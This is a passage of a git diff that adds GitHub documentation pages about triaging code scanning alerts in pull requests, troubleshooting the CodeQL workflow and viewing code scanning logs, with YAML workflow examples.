+As with other pull request checks, you can see full details of the check failure on the **Checks** tab. For more information about configuring and troubleshooting, see "[Configuring {% data variables.product.prodname_code_scanning %}](/code-security/secure-coding/configuring-code-scanning)" or "[Troubleshooting the {% data variables.product.prodname_codeql %} workflow](/code-security/secure-coding/troubleshooting-the-codeql-workflow)."
+
+## Viewing an alert on your pull request
+
+{% ifversion code-scanning-pr-conversations-tab %}
+You can see any {% data variables.product.prodname_code_scanning %} alerts introduced in a pull request by viewing the **Conversation** tab. {% data variables.product.prodname_code_scanning_capc %} posts a pull request review that shows each alert as an annotation on the lines of code that triggered the alert. You can comment on the alerts, dismiss the alerts, and view paths for the alerts, directly from the annotations. You can view the full details of an alert by clicking the "Show more details" link, which will take you to the alert details page.
+
+![Alert annotation within a pull request Conversations tab](/assets/images/help/repository/code-scanning-pr-conversation-tab.png)
+
+You can also view all {% data variables.product.prodname_code_scanning %} alerts in the **Files changed** tab of the pull request. Existing {% data variables.product.prodname_code_scanning %} alerts on a file that are outside the diff of the changes introduced in the pull request will only appear in the **Files changed** tab.
+
+{% else %} 
+You can see any {% data variables.product.prodname_code_scanning %} alerts introduced in a pull request by displaying the **Files changed** tab. Each alert is shown as an annotation on the lines of code that triggered the alert. The severity of the alert is displayed in the annotation. 
+
+![Alert annotation within a pull request diff](/assets/images/help/repository/code-scanning-pr-annotation.png)
+{% endif %}
+
+If you have write permission for the repository, some annotations contain links with extra context for the alert. In the example above, from {% data variables.product.prodname_codeql %} analysis, you can click **user-provided value** to see where the untrusted data enters the data flow (this is referred to as the source). In this case you can also view the full path from the source to the code that uses the data (the sink) by clicking **Show paths**. This makes it easy to check whether the data is untrusted or if the analysis failed to recognize a data sanitization step between the source and the sink. For information about analyzing data flow using {% data variables.product.prodname_codeql %}, see "[About data flow analysis](https://codeql.github.com/docs/writing-codeql-queries/about-data-flow-analysis/)."
+
+To see more information about an alert, users with write permission can click the **Show more details** link shown in the annotation. This allows you to see all of the context and metadata provided by the tool in an alert view. In the example below, you can see tags showing the severity, type, and relevant common weakness enumerations (CWEs) for the problem. The view also shows which commit introduced the problem.
+
+{% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %}
+{% data reusables.code-scanning.alert-default-branch %}
+{% endif %}
+
+In the detailed view for an alert, some {% data variables.product.prodname_code_scanning %} tools, like {% data variables.product.prodname_codeql %} analysis, also include a description of the problem and a **Show more** link for guidance on how to fix your code.
+
+{% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %}
+![Alert description and link to show more information](/assets/images/help/repository/code-scanning-pr-alert.png)
+{% else %}
+![Alert description and link to show more information](/assets/images/enterprise/3.4/repository/code-scanning-pr-alert.png)
+{% endif %}
+
+{% ifversion code-scanning-pr-conversations-tab %}
+## Commenting on an alert in a pull request
+
+You can comment on any {% data variables.product.prodname_code_scanning %} alert introduced by the changes in a pull request. Alerts appear as annotations in the **Conversation** tab of a pull request, as part of a  pull request review, and also are shown in the **Files changed** tab. You can only comment on alerts introduced by the changes in a pull request. Existing {% data variables.product.prodname_code_scanning %} alerts, on files that are outside the changes introduced in the pull request, will appear in the **Files changed** tab but cannot be commented on.
+
+You can choose to require all conversations in a pull request, including those on {% data variables.product.prodname_code_scanning %} alerts, to be resolved before a pull request can be merged. For more information, see "[About protected branches](/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/about-protected-branches#require-conversation-resolution-before-merging)."
+{% endif %}
+## Fixing an alert on your pull request
+
+Anyone with push access to a pull request can fix a {% data variables.product.prodname_code_scanning %} alert that's identified on that pull request. If you commit changes to the pull request this triggers a new run of the pull request checks. If your changes fix the problem, the alert is closed and the annotation removed.
+
+## Dismissing an alert on your pull request
+
+An alternative way of closing an alert is to dismiss it. You can dismiss an alert if you don't think it needs to be fixed. {% data reusables.code-scanning.close-alert-examples %} If you have write permission for the repository, the **Dismiss** button is available in code annotations and in the alerts summary. When you click **Dismiss** you will be prompted to choose a reason for closing the alert.
+{% ifversion comment-dismissed-code-scanning-alert %}
+![Screenshot of code scanning alert with dropdown to choose dismissal reason emphasized](/assets/images/help/repository/code-scanning-alert-dropdown-reason.png)
+{% else %}
+![Choosing a reason for dismissing an alert](/assets/images/help/repository/code-scanning-alert-close-drop-down.png)
+{% endif %}
+{% data reusables.code-scanning.choose-alert-dismissal-reason %}
+
+{% data reusables.code-scanning.false-positive-fix-codeql %}
+
+For more information about dismissing alerts, see {% ifversion delete-code-scanning-alerts %}"[Managing {% data variables.product.prodname_code_scanning %} alerts for your repository](/code-security/secure-coding/managing-code-scanning-alerts-for-your-repository#dismissing-or-deleting-alerts)."{% else %} "[Managing {% data variables.product.prodname_code_scanning %} alerts for your repository](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/managing-code-scanning-alerts-for-your-repository#dismissing--alerts)."{% endif %}
diff --git a/translations/de-DE/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/troubleshooting-the-codeql-workflow.md b/translations/de-DE/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/troubleshooting-the-codeql-workflow.md
new file mode 100644
index 0000000000..abab0e580d
--- /dev/null
+++ b/translations/de-DE/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/troubleshooting-the-codeql-workflow.md
@@ -0,0 +1,347 @@
+---
+title: Troubleshooting the CodeQL workflow
+shortTitle: Troubleshoot CodeQL workflow
+intro: 'If you''re having problems with {% data variables.product.prodname_code_scanning %}, you can troubleshoot by using these tips for resolving issues.'
+product: '{% data reusables.gated-features.code-scanning %}'
+miniTocMaxHeadingLevel: 3
+redirect_from:
+  - /github/finding-security-vulnerabilities-and-errors-in-your-code/troubleshooting-code-scanning
+  - /github/finding-security-vulnerabilities-and-errors-in-your-code/troubleshooting-the-codeql-workflow
+  - /code-security/secure-coding/troubleshooting-the-codeql-workflow
+  - /code-security/secure-coding/automatically-scanning-your-code-for-vulnerabilities-and-errors/troubleshooting-the-codeql-workflow
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+type: how_to
+topics:
+  - Advanced Security
+  - Code scanning
+  - CodeQL
+  - Actions
+  - Troubleshooting
+  - Repositories
+  - Pull requests
+  - C/C++
+  - C#
+  - Java
+---
+
+
+{% data reusables.code-scanning.beta %}
+{% data reusables.code-scanning.not-available %}
+
+{% ifversion ghes or ghae %}
+{% note %}
+
+**Note:** This article describes the features available with the version of the CodeQL action and associated CodeQL CLI bundle included in the initial release of this version of {% data variables.product.product_name %}. If your enterprise uses a more recent version of the CodeQL action, see the [{% data variables.product.prodname_ghe_cloud %} article](/enterprise-cloud@latest/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/troubleshooting-the-codeql-workflow) for information on the latest features. {% ifversion not ghae %} For information on using the latest version, see "[Configuring code scanning for your appliance](/admin/advanced-security/configuring-code-scanning-for-your-appliance#configuring-codeql-analysis-on-a-server-without-internet-access)."{% endif %}
+
+{% endnote %}
+{% endif %}
+
+## Producing detailed logs for debugging
+
+To produce more detailed logging output, you can enable step debug logging. For more information, see "[Enabling debug logging](/actions/managing-workflow-runs/enabling-debug-logging#enabling-step-debug-logging)."
+
+{% ifversion fpt or ghec or ghes > 3.3 or ghae > 3.3 %}
+
+## Creating {% data variables.product.prodname_codeql %} debugging artifacts
+
+You can obtain artifacts to help you debug {% data variables.product.prodname_codeql %}.
+The debug artifacts will be uploaded to the workflow run as an artifact named `debug-artifacts`. The data contains the {% data variables.product.prodname_codeql %} logs, {% data variables.product.prodname_codeql %} database(s), and any SARIF file(s) produced by the workflow.
+
+These artifacts will help you debug problems with {% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %}. If you contact GitHub support, they might ask for this data.
+
+{% endif %}
+
+{% ifversion codeql-action-debug-logging %}
+
+### Creating {% data variables.product.prodname_codeql %} debugging artifacts by re-running jobs with debug logging enabled
+
+You can create {% data variables.product.prodname_codeql %} debugging artifacts by enabling debug logging and re-running the jobs. For more information about re-running {% data variables.product.prodname_actions %} workflows and jobs, see "[Re-running workflows and jobs](/actions/managing-workflow-runs/re-running-workflows-and-jobs)."
+
+You need to ensure that you select **Enable debug logging** . This option enables runner diagnostic logging and step debug logging for the run. You'll then be able to download `debug-artifacts` to investigate further. You do not need to modify the workflow file when creating {% data variables.product.prodname_codeql %} debugging artifacts by re-running jobs.
+
+{% endif %}
+
+{% ifversion fpt or ghec or ghes > 3.3 or ghae > 3.3 %}
+
+### Creating {% data variables.product.prodname_codeql %} debugging artifacts using a workflow flag
+
+You can create {% data variables.product.prodname_codeql %} debugging artifacts by using a flag in your workflow. For this, you need to modify the `init` step of your {% data variables.code-scanning.codeql_workflow %} file and set `debug: true`.
+
+```yaml
+- name: Initialize CodeQL
+  uses: {% data reusables.actions.action-codeql-action-init %}
+  with:
+    debug: true
+```
+
+{% endif %}
+
+## Automatic build for a compiled language fails
+
+If an automatic build of code for a compiled language within your project fails, try the following troubleshooting steps.
+
+- Remove the `autobuild` step from your {% data variables.product.prodname_code_scanning %} workflow and add specific build steps. For information about editing the workflow, see  "[Configuring {% data variables.product.prodname_code_scanning %}](/code-security/secure-coding/configuring-code-scanning#editing-a-code-scanning-workflow)." For more information about replacing the `autobuild` step, see "[Configuring the {% data variables.product.prodname_codeql %} workflow for compiled languages](/code-security/secure-coding/configuring-the-codeql-workflow-for-compiled-languages#adding-build-steps-for-a-compiled-language)."
+
+- If your workflow doesn't explicitly specify the languages to analyze, {% data variables.product.prodname_codeql %} implicitly detects the supported languages in your code base. In this configuration, out of the compiled languages C/C++, C#,{% ifversion codeql-go-autobuild %} Go,{% endif %} and Java, {% data variables.product.prodname_codeql %} only analyzes the language with the most source files. Edit the workflow and add a matrix specifying the languages you want to analyze. The default CodeQL analysis workflow uses such a matrix.
+
+  The following extracts from a workflow show how you can use a matrix within the job strategy to specify languages, and then reference each language within the "Initialize {% data variables.product.prodname_codeql %}" step:
+
+  ```yaml
+  jobs:
+    analyze:
+      permissions:
+        security-events: write
+        actions: read
+      ...
+      strategy:
+        fail-fast: false
+        matrix:
+          language: ['csharp', 'cpp', 'javascript']
+
+      steps:
+      ...
+        - name: Initialize {% data variables.product.prodname_codeql %}
+          uses: {% data reusables.actions.action-codeql-action-init %}
+          with:
+            languages: {% raw %}${{ matrix.language }}{% endraw %}
+  ```
+
+  For more information about editing the workflow, see "[Configuring code scanning](/code-security/secure-coding/configuring-code-scanning)."
+
+## No code found during the build
+
+If your workflow fails with an error `No source code was seen during the build` or `The process '/opt/hostedtoolcache/CodeQL/0.0.0-20200630/x64/codeql/codeql' failed with exit code 32`, this indicates that {% data variables.product.prodname_codeql %} was unable to monitor your code. Several reasons can explain such a failure:
+
+1. The repository may not contain source code that is written in languages supported by {% data variables.product.prodname_codeql %}. Check the list of supported languages and, if this is the case, remove the {% data variables.product.prodname_codeql %} workflow. For more information, see "[About code scanning with CodeQL](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/about-code-scanning-with-codeql#about-codeql)
+
+1. Automatic language detection identified a supported language, but there is no analyzable code of that language in the repository. A typical example is when our language detection service finds a file associated with a particular programming language like a `.h`, or `.gyp` file, but no corresponding executable code is present in the repository. To solve the problem, you can manually define the languages you want to analyze by updating the list of languages in the `language` matrix. For example, the following configuration will analyze only Go, and JavaScript.
+
+  ```yaml
+  strategy:
+    fail-fast: false
+    matrix:
+      # Override automatic language detection by changing the list below.
+      # Supported options are listed in a comment in the default workflow.
+      language: ['go', 'javascript']
+  ```
+
+   For more information, see the workflow extract in "[Automatic build for a compiled language fails](#automatic-build-for-a-compiled-language-fails)" above.
+
+1. Your {% data variables.product.prodname_code_scanning %} workflow is analyzing a compiled language (C, C++, C#,{% ifversion codeql-go-autobuild %} Go,{% endif %} or Java), but the code was not compiled. By default, the {% data variables.product.prodname_codeql %} analysis workflow contains an `autobuild` step, however, this step represents a best effort process, and may not succeed in building your code, depending on your specific build environment. Compilation may also fail if you have removed the `autobuild` step and did not include build steps manually.  For more information about specifying build steps, see "[Configuring the {% data variables.product.prodname_codeql %} workflow for compiled languages](/code-security/secure-coding/configuring-the-codeql-workflow-for-compiled-languages#adding-build-steps-for-a-compiled-language)."
+1. Your workflow is analyzing a compiled language (C, C++, C#,{% ifversion codeql-go-autobuild %} Go,{% endif %} or Java), but portions of your build are cached to improve performance (most likely to occur with build systems like Gradle or Bazel). Since {% data variables.product.prodname_codeql %} observes the activity of the compiler to understand the data flows in a repository, {% data variables.product.prodname_codeql %} requires a complete build to take place in order to perform analysis.
+1. Your workflow is analyzing a compiled language (C, C++, C#,{% ifversion codeql-go-autobuild %} Go,{% endif %} or Java), but compilation does not occur between the `init` and `analyze` steps in the workflow. {% data variables.product.prodname_codeql %} requires that your build happens in between these two steps in order to observe the activity of the compiler and perform analysis.
+1. Your compiled code (in C, C++, C#,{% ifversion codeql-go-autobuild %} Go,{% endif %} or Java) was compiled successfully, but {% data variables.product.prodname_codeql %} was unable to detect the compiler invocations. The most common causes are:
+
+   - Running your build process in a separate container to {% data variables.product.prodname_codeql %}. For more information, see "[Running CodeQL code scanning in a container](/code-security/secure-coding/running-codeql-code-scanning-in-a-container)."
+   - Building using a distributed build system external to GitHub Actions, using a daemon process.
+   - {% data variables.product.prodname_codeql %} isn't aware of the specific compiler you are using.
+
+  For .NET Framework projects, and for C# projects using either `dotnet build` or `msbuild`, you should specify `/p:UseSharedCompilation=false` in your workflow's `run` step, when you build your code.
+  
+  For example, the following configuration for C# will pass the flag during the first build step.
+
+   ``` yaml
+   - run: |
+       dotnet build /p:UseSharedCompilation=false
+   ```
+
+  If you encounter another problem with your specific compiler or configuration, contact {% data variables.contact.contact_support %}.
+
+For more information about specifying build steps, see "[Configuring the {% data variables.product.prodname_codeql %} workflow for compiled languages](/code-security/secure-coding/configuring-the-codeql-workflow-for-compiled-languages#adding-build-steps-for-a-compiled-language)."
+
+{% ifversion fpt or ghes > 3.1  or ghae or ghec %}
+
+## Lines of code scanned are lower than expected
+
+For compiled languages like C/C++, C#, Go, and Java, {% data variables.product.prodname_codeql %} only scans files that are built during the analysis. Therefore the number of lines of code scanned will be lower than expected if some of the source code isn't compiled correctly. This can happen for several reasons:
+
+1. The {% data variables.product.prodname_codeql %} `autobuild` feature uses heuristics to build the code in a repository. However, sometimes this approach results in an incomplete analysis of a repository. For example, when multiple `build.sh` commands exist in a single repository, the analysis may not be complete since the `autobuild` step will only execute one of the commands, and therefore some source files may not be compiled.
+1. Some compilers do not work with {% data variables.product.prodname_codeql %} and can cause issues while analyzing the code. For example, Project Lombok uses non-public compiler APIs to modify compiler behavior. The assumptions used in these compiler modifications are not valid for {% data variables.product.prodname_codeql %}'s Java extractor, so the code cannot be analyzed.
+
+If your {% data variables.product.prodname_codeql %} analysis scans fewer lines of code than expected, there are several approaches you can try to make sure all the necessary source files are compiled.
+
+### Replace the `autobuild` step
+
+Replace the `autobuild` step with the same build commands you would use in production. This makes sure that {% data variables.product.prodname_codeql %} knows exactly how to compile all of the source files you want to scan.
+For more information, see "[Configuring the {% data variables.product.prodname_codeql %} workflow for compiled languages](/code-security/secure-coding/configuring-the-codeql-workflow-for-compiled-languages#adding-build-steps-for-a-compiled-language)."
+
+### Inspect the copy of the source files in the {% data variables.product.prodname_codeql %} database
+
+You may be able to understand why some source files haven't been analyzed by inspecting the copy of the source code included with the {% data variables.product.prodname_codeql %} database. To obtain the database from your Actions workflow, modify the `init` step of your {% data variables.product.prodname_codeql %} workflow file and set `debug: true`.
+
+```yaml
+- name: Initialize CodeQL
+  uses: {% data reusables.actions.action-codeql-action-init %}
+  with:
+    debug: true
+```
+
+This uploads the database as an actions artifact that you can download to your local machine. For more information, see "[Storing workflow artifacts](/actions/guides/storing-workflow-data-as-artifacts)."
+
+The artifact will contain an archived copy of the source files scanned by {% data variables.product.prodname_codeql %} called _src.zip_. If you compare the source code files in the repository and the files in _src.zip_, you can see which types of file are missing. Once you know what types of file are not being analyzed, it is easier to understand how you may need to change the workflow for {% data variables.product.prodname_codeql %} analysis.
+
+## Alerts found in generated code
+
+{% data reusables.code-scanning.alerts-found-in-generated-code %}
+
+## Extraction errors in the database
+
+The {% data variables.product.prodname_codeql %} team constantly works on critical extraction errors to make sure that all source files can be scanned. However, the {% data variables.product.prodname_codeql %} extractors do occasionally generate errors during database creation. {% data variables.product.prodname_codeql %} provides information about extraction errors and warnings generated during database creation in a log file.
+The extraction diagnostics information gives an indication of overall database health. Most extractor errors do not significantly impact the analysis. A small number of extractor errors is healthy and typically indicates a good state of analysis.
+
+However, if you see extractor errors in the overwhelming majority of files that were compiled during database creation, you should look into the errors in more detail to try to understand why some source files weren't extracted properly.
+
+{% else %}
+
+## Portions of my repository were not analyzed using `autobuild`
+
+The {% data variables.product.prodname_codeql %} `autobuild` feature uses heuristics to build the code in a repository, however, sometimes this approach results in incomplete analysis of a repository. For example, when multiple `build.sh` commands exist in a single repository, the analysis may not complete since the `autobuild` step will only execute one of the commands. The solution is to replace the `autobuild` step with build steps which build all of the source code which you wish to analyze. For more information, see "[Configuring the {% data variables.product.prodname_codeql %} workflow for compiled languages](/code-security/secure-coding/configuring-the-codeql-workflow-for-compiled-languages#adding-build-steps-for-a-compiled-language)."
+{% endif %}
+
+## The build takes too long
+
+If your build with {% data variables.product.prodname_codeql %} analysis takes too long to run, there are several approaches you can try to reduce the build time.
+
+### Increase the memory or cores
+
+If you use self-hosted runners to run {% data variables.product.prodname_codeql %} analysis, you can increase the memory or the number of cores on those runners.
+
+### Use matrix builds to parallelize the analysis
+
+The default {% data variables.code-scanning.codeql_workflow %} uses a matrix of languages, which causes the analysis of each language to run in parallel. If you have specified the languages you want to analyze directly in the "Initialize CodeQL" step, analysis of each language will happen sequentially. To speed up analysis of multiple languages, modify your workflow to use a matrix. For more information, see the workflow extract in "[Automatic build for a compiled language fails](#automatic-build-for-a-compiled-language-fails)" above.
+
+### Reduce the amount of code being analyzed in a single workflow
+
+Analysis time is typically proportional to the amount of code being analyzed. You can reduce the analysis time by reducing the amount of code being analyzed at once, for example, by excluding test code, or breaking analysis into multiple workflows that analyze only a subset of your code at a time.
+
+{% data reusables.code-scanning.alerts-found-in-generated-code %}
+
+If you split your analysis into multiple workflows as described above, we still recommend that you have at least one workflow which runs on a `schedule` which analyzes all of the code in your repository. Because {% data variables.product.prodname_codeql %} analyzes data flows between components, some complex security behaviors may only be detected on a complete build.
+
+### Run only during a `schedule` event
+
+If your analysis is still too slow to be run during `push` or `pull_request` events, then you may want to only trigger analysis on the `schedule` event. For more information, see "[Events](/actions/learn-github-actions/introduction-to-github-actions#events)."
+
+### Check which query suites the workflow runs
+
+By default, there are three main query suites available for each language. If you have optimized the CodeQL database build and the process is still too long, you could reduce the number of queries you run. The default query suite is run automatically; it contains the fastest security queries with the lowest rates of false positive results.
+
+You may be running extra queries or query suites in addition to the default queries. Check whether the workflow defines an additional query suite or additional queries to run using the `queries` element. You can experiment with disabling the additional query suite or queries. For more information, see "[Configuring {% data variables.product.prodname_code_scanning %}](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-code-scanning#using-queries-in-ql-packs)."
+
+{% ifversion codeql-ml-queries %}
+{% note %}
+
+**Note:** If you run the `security-extended` or `security-and-quality` query suite for JavaScript, then some queries use experimental technology. For more information, see "[About code scanning alerts](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/about-code-scanning-alerts#about-experimental-alerts)."
+{% endnote %}
+{% endif %}
+
+{% ifversion fpt or ghec %}
+
+## Results differ between analysis platforms
+
+If you are analyzing code written in Python, you may see different results depending on whether you run the {% data variables.code-scanning.codeql_workflow %} on Linux, macOS, or Windows.
+
+On GitHub-hosted runners that use Linux, the {% data variables.code-scanning.codeql_workflow %} tries to install and analyze Python dependencies, which could lead to more results. To disable the auto-install, add `setup-python-dependencies: false` to the "Initialize CodeQL" step of the workflow. For more information about configuring the analysis of Python dependencies, see "[Analyzing Python dependencies](/code-security/secure-coding/configuring-code-scanning#analyzing-python-dependencies)."
+
+{% endif %}
+
+## Error: "Server error"
+
+If the run of a workflow for {% data variables.product.prodname_code_scanning %} fails due to a server error, try running the workflow again. If the problem persists, contact {% data variables.contact.contact_support %}.
+
+## Error: "Out of disk" or "Out of memory"
+
+On very large projects, {% data variables.product.prodname_codeql %} may run out of disk or memory on the runner.
+{% ifversion fpt or ghec %}If you encounter this issue on a hosted {% data variables.product.prodname_actions %} runner, contact {% data variables.contact.contact_support %} so that we can investigate the problem.
+{% else %}If you encounter this issue, try increasing the memory on the runner.{% endif %}
+
+{% ifversion fpt or ghec %}
+
+## Error: 403 "Resource not accessible by integration" when using {% data variables.product.prodname_dependabot %}
+
+{% data variables.product.prodname_dependabot %} is considered untrusted when it triggers a workflow run, and the workflow will run with read-only scopes. Uploading {% data variables.product.prodname_code_scanning %} results for a branch usually requires the `security_events: write` scope. However, {% data variables.product.prodname_code_scanning %} always allows the uploading of results when the `pull_request` event triggers the action run. This is why, for {% data variables.product.prodname_dependabot %} branches, we recommend you use the `pull_request` event instead of the `push` event.
+
+A simple approach is to run on pushes to the default branch and any other important long-running branches, as well as pull requests opened against this set of branches:
+
+```yaml
+on:
+  push:
+    branches:
+      - main
+  pull_request:
+    branches:
+      - main
+```
+
+An alternative approach is to run on all pushes except for {% data variables.product.prodname_dependabot %} branches:
+
+```yaml
+on:
+  push:
+    branches-ignore:
+      - 'dependabot/**'
+  pull_request:
+```
+
+### Analysis still failing on the default branch
+
+If the {% data variables.code-scanning.codeql_workflow %} still fails on a commit made on the default branch, you need to check:
+
+- whether {% data variables.product.prodname_dependabot %} authored the commit
+- whether the pull request that includes the commit has been merged using `@dependabot squash and merge`
+
+This type of merge commit is authored by {% data variables.product.prodname_dependabot %} and therefore, any workflows running on the commit will have read-only permissions. If you enabled {% data variables.product.prodname_code_scanning %} and {% data variables.product.prodname_dependabot %} security updates or version updates on your repository, we recommend you avoid using the {% data variables.product.prodname_dependabot %} `@dependabot squash and merge` command. Instead, you can enable auto-merge for your repository. This means that pull requests will be automatically merged when all required reviews are met and status checks have passed. For more information about enabling auto-merge, see "[Automatically merging a pull request](/github/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/automatically-merging-a-pull-request#enabling-auto-merge)."
+{% endif %}
+
+## Error: "is not a .ql file, .qls file, a directory, or a query pack specification"
+
+You will see this error if CodeQL is unable to find the named query, query suite, or query pack at the location requested in the workflow. There are two common reasons for this error.
+
+- There is a typo in the workflow.
+- A resource the workflow refers to by path was renamed, deleted, or moved to a new location.
+
+After verifying the location of the resource, you can update the workflow to specify the correct location.
+
+## Warning: "git checkout HEAD^2 is no longer necessary"
+
+If you're using an old {% data variables.product.prodname_codeql %} workflow you may get the following warning in the output from the "Initialize {% data variables.product.prodname_codeql %}" action:
+
+```
+Warning: 1 issue was detected with this workflow: git checkout HEAD^2 is no longer 
+necessary. Please remove this step as Code Scanning recommends analyzing the merge 
+commit for best results.
+```
+
+Fix this by removing the following lines from the {% data variables.product.prodname_codeql %} workflow. These lines were included in the `steps` section of the `Analyze` job in initial versions of the {% data variables.product.prodname_codeql %} workflow.
+
+```yaml
+        with:
+          # We must fetch at least the immediate parents so that if this is
+          # a pull request then we can checkout the head.
+          fetch-depth: 2
+
+      # If this run was triggered by a pull request event, then checkout
+      # the head of the pull request instead of the merge commit.
+      - run: git checkout HEAD^2
+        if: {% raw %}${{ github.event_name == 'pull_request' }}{% endraw %}
+```
+
+The revised `steps` section of the workflow will look like this:
+
+```yaml
+    steps:
+      - name: Checkout repository
+        uses: {% data reusables.actions.action-checkout %}
+
+      # Initializes the {% data variables.product.prodname_codeql %} tools for scanning.
+      - name: Initialize {% data variables.product.prodname_codeql %}
+        uses: {% data reusables.actions.action-codeql-action-init %}
+
+      ...
+```
+
+For more information about editing the {% data variables.product.prodname_codeql %} workflow file, see  "[Configuring {% data variables.product.prodname_code_scanning %}](/code-security/secure-coding/configuring-code-scanning#editing-a-code-scanning-workflow)."
diff --git a/translations/de-DE/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/viewing-code-scanning-logs.md b/translations/de-DE/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/viewing-code-scanning-logs.md
new file mode 100644
index 0000000000..2066a0a5cc
--- /dev/null
+++ b/translations/de-DE/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/viewing-code-scanning-logs.md
@@ -0,0 +1,82 @@
+---
+title: Viewing code scanning logs
+intro: 'You can view the output generated during {% data variables.product.prodname_code_scanning %} analysis in {% data variables.location.product_location %}.'
+product: '{% data reusables.gated-features.code-scanning %}'
+permissions: 'If you have write permissions to a repository, you can view the {% data variables.product.prodname_code_scanning %} logs for that repository.'
+miniTocMaxHeadingLevel: 4
+redirect_from:
+  - /code-security/secure-coding/automatically-scanning-your-code-for-vulnerabilities-and-errors/viewing-code-scanning-logs
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Security
+shortTitle: View code scanning logs
+---
+
+{% data reusables.code-scanning.beta %}
+{% data reusables.code-scanning.enterprise-enable-code-scanning-actions %}
+
+## About your {% data variables.product.prodname_code_scanning %} setup 
+
+You can use a variety of tools to set up {% data variables.product.prodname_code_scanning %} in your repository. For more information, see  "[Setting up {% data variables.product.prodname_code_scanning %} for a repository](/code-security/secure-coding/automatically-scanning-your-code-for-vulnerabilities-and-errors/setting-up-code-scanning-for-a-repository#options-for-setting-up-code-scanning)."
+
+The log and diagnostic information available to you depends on the method you use for {% data variables.product.prodname_code_scanning %} in your repository. You can check the type of {% data variables.product.prodname_code_scanning %} you're using in the **Security** tab of your repository, by using the **Tool** drop-down menu in the alert list. For more information, see "[Managing {% data variables.product.prodname_code_scanning %} alerts for your repository](/code-security/secure-coding/automatically-scanning-your-code-for-vulnerabilities-and-errors/managing-code-scanning-alerts-for-your-repository#viewing-the-alerts-for-a-repository)."
+
+## About analysis and diagnostic information
+
+You can see analysis and diagnostic information for {% data variables.product.prodname_code_scanning %} run using {% data variables.product.prodname_codeql %} analysis on {% data variables.product.prodname_dotcom %}. 
+
+**Analysis** information is shown for the most recent analysis in a header at the top of the list of alerts. For more information, see "[Managing code scanning alerts for your repository](/code-security/secure-coding/automatically-scanning-your-code-for-vulnerabilities-and-errors/managing-code-scanning-alerts-for-your-repository#viewing-the-alerts-for-a-repository)."
+
+**Diagnostic** information is displayed in the Action workflow logs and consists of summary metrics and extractor diagnostics. For information about accessing {% data variables.product.prodname_code_scanning %} logs on {% data variables.product.prodname_dotcom %}, see "[Viewing the logging output from {% data variables.product.prodname_code_scanning %}](#viewing-the-logging-output-from-code-scanning)" below.
+
+If you're using the {% data variables.product.prodname_codeql_cli %} outside {% data variables.product.prodname_dotcom %}, you'll see diagnostic information in the output generated during database analysis. This information is also included in the SARIF results file you upload to {% data variables.product.prodname_dotcom %} with the {% data variables.product.prodname_code_scanning %} results.
+
+For information about the {% data variables.product.prodname_codeql_cli %}, see "[Configuring {% data variables.product.prodname_codeql_cli %} in your CI system](/code-security/secure-coding/using-codeql-code-scanning-with-your-existing-ci-system/configuring-codeql-cli-in-your-ci-system#viewing-log-and-diagnostic-information)."
+
+### About summary metrics
+
+{% data reusables.code-scanning.summary-metrics %}
+
+### About {% data variables.product.prodname_codeql %} source code extraction diagnostics
+
+{% data reusables.code-scanning.extractor-diagnostics %}
+
+{% ifversion codeql-action-debug-logging %}
+
+You can see more detailed information about {% data variables.product.prodname_codeql %} extractor errors and warnings that occurred during database creation by enabling debug logging. For more information, see "[Troubleshooting the CodeQL workflow](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/troubleshooting-the-codeql-workflow#creating-codeql-debugging-artifacts-by-re-running-jobs-with-debug-logging-enabled)."
+
+{% endif %}
+
+## Viewing the logging output from {% data variables.product.prodname_code_scanning %}
+
+This section applies to {% data variables.product.prodname_code_scanning %} run using {% data variables.product.prodname_actions %} ({% data variables.product.prodname_codeql %} or third-party).
+
+After setting up {% data variables.product.prodname_code_scanning %} for your repository, you can watch the output of the actions as they run.
+
+{% data reusables.repositories.actions-tab %}
+
+  You'll see a list that includes an entry for running the {% data variables.product.prodname_code_scanning %} workflow. The text of the entry is the title you gave your commit message.
+
+  ![Actions list showing {% data variables.product.prodname_code_scanning %} workflow](/assets/images/help/repository/code-scanning-actions-list.png)
+
+1. Click the entry for the {% data variables.product.prodname_code_scanning %} workflow.
+
+2. Click the job name on the left. For example, **Analyze (LANGUAGE)**.
+
+  ![Log output from the {% data variables.product.prodname_code_scanning %} workflow](/assets/images/help/repository/code-scanning-logging-analyze-action.png)
+
+1. Review the logging output from the actions in this workflow as they run.
+
+1. Once all jobs are complete, you can view the details of any {% data variables.product.prodname_code_scanning %} alerts that were identified. For more information, see "[Managing {% data variables.product.prodname_code_scanning %} alerts for your repository](/code-security/secure-coding/managing-code-scanning-alerts-for-your-repository#viewing-the-alerts-for-a-repository)."
+
+{% note %}
+
+**Note:** If you raised a pull request to add the {% data variables.product.prodname_code_scanning %} workflow to the repository, alerts from that pull request aren't displayed directly on the {% data variables.product.prodname_code_scanning_capc %} page until the pull request is merged. If any alerts were found you can view these, before the pull request is merged, by clicking the **_n_ alerts found** link in the banner on the {% data variables.product.prodname_code_scanning_capc %} page.
+
+![Click the "n alerts found" link](/assets/images/help/repository/code-scanning-alerts-found-link.png)
+
+{% endnote %}
diff --git a/translations/de-DE/content/code-security/code-scanning/index.md b/translations/de-DE/content/code-security/code-scanning/index.md
new file mode 100644
index 0000000000..b0cebde942
--- /dev/null
+++ b/translations/de-DE/content/code-security/code-scanning/index.md
